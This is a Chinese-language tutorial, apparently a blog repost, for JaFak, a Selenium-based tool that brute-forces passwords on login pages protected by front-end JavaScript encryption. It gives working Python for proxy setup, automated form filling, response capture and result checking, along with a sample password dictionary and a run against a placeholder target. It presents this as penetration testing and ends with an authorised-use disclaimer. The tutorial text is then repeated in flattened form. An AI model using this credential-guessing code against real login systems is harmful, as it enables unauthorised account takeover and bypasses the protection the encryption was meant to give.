JaFak:一款无视js前端加密的账号密码爆破工具
字数 1070 2025-08-15 21:32:54

JaFak工具使用教程:基于Selenium的前端加密爆破技术

一、工具背景与原理

1.1 开发背景

JaFak是一款专门用于爆破前端加密登录系统的工具,主要解决以下场景:

  • 系统登录接口存在用户名枚举漏洞但危害较低
  • 前端使用复杂JS加密(如混淆代码)难以逆向分析
  • 登录错误提示统一("用户名或密码错误")
  • 无验证码或登录次数限制

1.2 核心原理

通过Selenium自动化控制真实浏览器,绕过前端加密:

  1. 让浏览器执行原始JS加密逻辑
  2. 模拟用户真实操作流程
  3. 通过代理捕获网络请求和响应
  4. 自动分析结果判断爆破是否成功

二、环境搭建

2.1 必要组件

  • Python 3.x
  • Chrome浏览器
  • ChromeDriver(与浏览器版本匹配)
  • BrowserMob Proxy

2.2 安装步骤

# 安装Python依赖
pip install selenium browsermob-proxy

# 下载BrowserMob Proxy
wget https://github.com/lightbody/browsermob-proxy/releases/download/browsermob-proxy-2.1.4/browsermob-proxy-2.1.4-bin.zip
unzip browsermob-proxy-2.1.4-bin.zip

三、核心代码解析

3.1 初始化代理

from browsermobproxy import Server

server = Server("browsermob-proxy-2.1.4/bin/browsermob-proxy")
server.start()
proxy = server.create_proxy()

3.2 配置Chrome选项

from selenium.webdriver.chrome.options import Options

chrome_options = Options()
chrome_options.add_argument('--proxy-server={0}'.format(proxy.proxy))
chrome_options.add_argument('--incognito')  # 无痕模式避免密码记忆
chrome_options.add_argument('--headless')   # 无头模式提高速度

3.3 主爆破逻辑

def fill_out_a_form(self, username, password):
    # 清空并输入用户名
    self.chrome.find_element_by_css_selector("[class='username-class']").clear()
    self.chrome.find_element_by_css_selector("[class='username-class']").send_keys(username)
    
    # 清空并输入密码
    self.chrome.find_element_by_css_selector("[class='password-class']").clear()
    self.chrome.find_element_by_css_selector("[class='password-class']").send_keys(password)
    
    # 提交表单(使用RETURN避免click问题)
    self.chrome.find_element_by_css_selector("[class='submit-class']").send_keys(Keys.RETURN)

3.4 响应捕获

def wget_response(self):
    result = self.proxy.har
    for entry in result['log']['entries']:
        if "login" in entry['request']['url'].lower():
            response = entry['response']['content']['text']
            self.response_result.append(response)

四、实战使用教程

4.1 准备密码字典

创建password.txt文件,每行一个密码:

123456
password
admin123
qwerty

4.2 运行工具

Brower = Brower_scan(
    url='https://target.com/login',
    username='admin',
    password_dir='password.txt'
)

4.3 结果分析

工具会输出每个密码尝试的结果:

密码:123456 :结果:{"status":"fail","code":403}
密码:admin123 :结果:{"status":"success","code":200}

五、关键问题解决

5.1 密码记忆问题

现象:浏览器自动补全导致密码拼接(如123456 + 789 → 123456789)

解决

  1. 使用无痕模式--incognito
  2. 确保每次先clear()再send_keys()
  3. 按正确顺序操作:清空用户→输入用户→清空密码→输入密码

5.2 元素定位问题

解决方案

  • 优先使用CSS选择器find_element_by_css_selector
  • 类名含空格时需用完整类名[class='class1 class2']
  • 可替换为其他定位方式:
    find_element_by_id()
    find_element_by_name()
    find_element_by_xpath()
    

5.3 点击失效问题

现象:多次click()后报错

解决:改用键盘事件

element.send_keys(Keys.RETURN)

六、高级应用场景

6.1 复杂加密场景

  • 适用于RSA、AES等前端加密
  • 处理动态Token、时间戳等参数
  • 自动处理Cookie和Session

6.2 其他自动化测试

  • 验证码识别测试
  • 多步骤业务流程测试
  • 界面元素遍历测试

七、工具获取

GitHub项目地址:
https://github.com/Gamma-laboratory/JsFak

八、法律与道德声明

  1. 仅用于授权测试
  2. 禁止用于非法用途
  3. 遵守当地法律法规
  4. 测试前务必获取书面授权

通过本教程,您已掌握JaFak工具的核心原理和使用方法。该工具的创新之处在于完全绕过前端加密分析,通过浏览器自动化实现高效爆破,是渗透测试中处理前端加密系统的有力武器。

JaFak工具使用教程:基于Selenium的前端加密爆破技术 一、工具背景与原理 1.1 开发背景 JaFak是一款专门用于爆破前端加密登录系统的工具,主要解决以下场景: 系统登录接口存在用户名枚举漏洞但危害较低 前端使用复杂JS加密(如混淆代码)难以逆向分析 登录错误提示统一("用户名或密码错误") 无验证码或登录次数限制 1.2 核心原理 通过Selenium自动化控制真实浏览器,绕过前端加密: 让浏览器执行原始JS加密逻辑 模拟用户真实操作流程 通过代理捕获网络请求和响应 自动分析结果判断爆破是否成功 二、环境搭建 2.1 必要组件 Python 3.x Chrome浏览器 ChromeDriver(与浏览器版本匹配) BrowserMob Proxy 2.2 安装步骤 三、核心代码解析 3.1 初始化代理 3.2 配置Chrome选项 3.3 主爆破逻辑 3.4 响应捕获 四、实战使用教程 4.1 准备密码字典 创建password.txt文件,每行一个密码: 4.2 运行工具 4.3 结果分析 工具会输出每个密码尝试的结果: 五、关键问题解决 5.1 密码记忆问题 现象 :浏览器自动补全导致密码拼接(如123456 + 789 → 123456789) 解决 : 使用无痕模式 --incognito 确保每次先clear()再send_ keys() 按正确顺序操作:清空用户→输入用户→清空密码→输入密码 5.2 元素定位问题 解决方案 : 优先使用CSS选择器 find_element_by_css_selector 类名含空格时需用完整类名 [class='class1 class2'] 可替换为其他定位方式: 5.3 点击失效问题 现象 :多次click()后报错 解决 :改用键盘事件 六、高级应用场景 6.1 复杂加密场景 适用于RSA、AES等前端加密 处理动态Token、时间戳等参数 自动处理Cookie和Session 6.2 其他自动化测试 验证码识别测试 多步骤业务流程测试 界面元素遍历测试 七、工具获取 GitHub项目地址: https://github.com/Gamma-laboratory/JsFak 八、法律与道德声明 仅用于授权测试 禁止用于非法用途 遵守当地法律法规 测试前务必获取书面授权 通过本教程,您已掌握JaFak工具的核心原理和使用方法。该工具的创新之处在于完全绕过前端加密分析,通过浏览器自动化实现高效爆破,是渗透测试中处理前端加密系统的有力武器。